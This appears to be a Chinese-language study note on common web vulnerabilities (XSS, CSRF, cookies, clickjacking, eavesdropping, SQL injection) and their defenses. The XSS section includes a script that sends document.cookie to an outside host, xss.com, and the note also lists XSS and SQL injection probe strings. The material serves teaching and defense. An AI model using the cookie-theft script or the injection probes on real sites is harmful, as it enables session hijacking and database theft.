web前后端漏洞分析与防御
一、 xss
Cross Site Scripting 跨站脚本攻击
用户输入的内容又加载/显示到页面
- HTML节点内容
<div>{content}</div>
- HTML属性
<img src="1111/2.png" onerror="alert(1)">
- JavaScript脚本
<script>alert(1)</script>
- 富文本
fsfs辐射服<a href="javascript:alert(1)">好东西</a>发生的。。。
- 在输入框中输入脚本
xss.js的内容
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = "http://xss.com/getCookie.php?joke=" + encodeURIComponent(document.cookie);
- 脚本被执行
-
浏览器自带的
加上头部:X-XSS-Protection
,但是只针对 html内容或属性, 而且可能有其他隐患,参考安全隐患,你对X-XSS-Protection头部字段理解可能有误
-
使用正则 替换 / 转义 特殊符号:
<
=><
、>
=>>
,参考html实体 -
按白名单方式保留部分标签或属性,可自己定义,也可参考第三方的插件,例如php语言的htmlpurifier,
require_once '../lib/html/htmlpurifier/library/HTMLPurifier.auto.php';
function clearXSS($string){
// 生成配置对象
$_clean_xss_config = HTMLPurifier_Config::createDefault();
// 以下就是配置:
$_clean_xss_config->set('Core.Encoding', 'UTF-8');
// 设置允许使用的HTML标签
// $_clean_xss_config->set('HTML.Allowed','div,b,strong,i,em,a[href|title],ul,ol,li,p[style],br,span[style],img[width|height|alt|src]');
// 设置允许出现的CSS样式属性
$_clean_xss_config->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');
// 设置a标签上是否允许使用target="_blank"
$_clean_xss_config->set('HTML.TargetBlank', TRUE);
// 使用配置生成过滤用的对象
$_clean_xss_obj = new HTMLPurifier($_clean_xss_config);
// 过滤字符串
return $_clean_xss_obj->purify($string);
}
- CSP(Content Security Policy) 内容安全策略:用于指定哪些内容可执行,参考mozilla官网content_security_policy,前端安全配置之Content-Security-Policy
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
二、 CSRF
Crose Site Request Forgy 跨站请求伪造
在其他网站对本网站造成的危害
- 网络蠕虫
- 个人隐私泄露及财产安全
- A网站form表单
- B网站隐藏一个form表单,是向A网站请求,给了一个链接,又是指向当前这个页面,当进入这个页面时表单自动提交到A站(自动带上了A站的cookie)
- A站中显示了B站提交的内容,当用户点击时就会跳转到B站,而B站又隐藏提交了form表单,不断循环
-
浏览器请求中会带上一个请求头referer:
Referer: http://security2.com/csrf.php
,可以判断referer一定程度上避免其他站点的请求 -
可以加上同源策略
SameSite
,点击查看浏览器支持情况
sameSite对应的值 | 含义 |
---|---|
Strict | 最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie |
Lax | 规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外; 导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。 |
None | 无限制 |
header("Set-Cookie: CookieName=CookieValue; SameSite=Strict;");
- 在前端页面加上验证码或加上token
三、 Cookie
HTTP协议是无状态的,服务器无法判断用户身份,Cookie诞生的最初目的是为了存储web中的状态信息,以方便服务器端使用。客户端向服务器发起请求,服务器向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。
- 前端存储数据
- 有效期
- 后端通过Http请求头发送
- 请求时通过Http头传给后端
- 前端可以读写
- 遵守同源策略
- 路径(不同网页获取的cookie可能不同)
- secure,是否只在https协议中起作用
- php 设置
header("Set-Cookie: test1=value1;");
setcookie("test2", 'value2', time()+60*60*24*30);
- 浏览器查看
- 查看浏览器存储
- 查看网络请求
- 设置、获取cookie
要获取某个具体的cookie值,需要对cookie进行分割
- 删除cookie
设置过期时间小于当前时间
- cookie可修改
用户1登录之后,userId=1;但是如果修改成userId=2,用户1在提交时,显示的是用户2提交的。
- xss,csrf都利用了cookie可读性
- 加签名防篡改
- 加密数据
- http-only
- https
- same-site
四、点击劫持
攻击者的网页用iframe的方式嵌入目标网页,而用户并不知情。
- 获取用户敏感信息
A网站的地址被攻击者放在iframe中并隐藏在页面中,当用户点击攻击者网站中的按钮时,实际是点击了A站的提交按钮,而用户并知道这个过程。
- JavaScript禁止内嵌:
if(top != window){
window.location.href = "http://www.biadu.com";
}
js判断top是否等于window,如果不等于,可设置window.location.href=‘其他的地址’;但如果用户禁止了js的使用,那么这个方法不起作用。
- 设置请求头:
X-Frame-Options
值 | 含义 |
---|---|
DENY | 该页面不允许在frame中展示,即便是在相同域名的页面中嵌套也不允许 |
SAMEORIGIN | 该页面可以在相同域名页面的frame中展示 |
ALLOW-FROM uri | 该页面可以在指定来源的frame中展示 |
五、http传输窃听
http(超文本传输协议)是一个基于请求与响应模式的、无状态的、应用层的协议,常基于TCP的连接方式,HTTP1.1版本中给出一种持续连接的机制,绝大多数的Web开发,都是构建在HTTP协议之上的Web应用。
但是传输的内容基本都是明文,可在传输的过程中进行窃听篡改。
- 连上恶意的wifi的话,手机信息会随着上网上传,就被盗取了
- 路由器监听
…
- 加密数据
- 使用https协议,可查看另一篇博文
HTTPS是在HTTP上建立SSL加密层,并对传输数据进行加密,是HTTP协议的安全版。
六、密码安全
- 传输过程加密
- 存储加密
- 加密时要加盐
七、SQL注入
对用户输入数据的合法性没有判断或过滤不严,,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,导致对查询、数据库安全造成影响。
- 盗取表结构及数据(拖库),比如用户名密码
- 删表删库
select * from table where username='name' or 1=1;-- 这条语句一定会返回数据
select id,1,2,3 form table;-- 猜字段名
select * from table union select 1,2,3 from table2;-- 查询表字段个数
select * from table where mid(username,1,1)='t'; -- 猜值
- 关闭错误输出
- 检测数据类型
- 对数据进行转义
- 对数据库操作前进行 预处理 ,使用参数化查询
************ 不 要 相 信 任 何 用 户 输 入 的 任 何 内 容 \color{red}{不要相信任何用户输入的任何内容} 不要相信任何用户输入的任何内容 ************
参考:
慕课网:web前后端漏洞分析与防御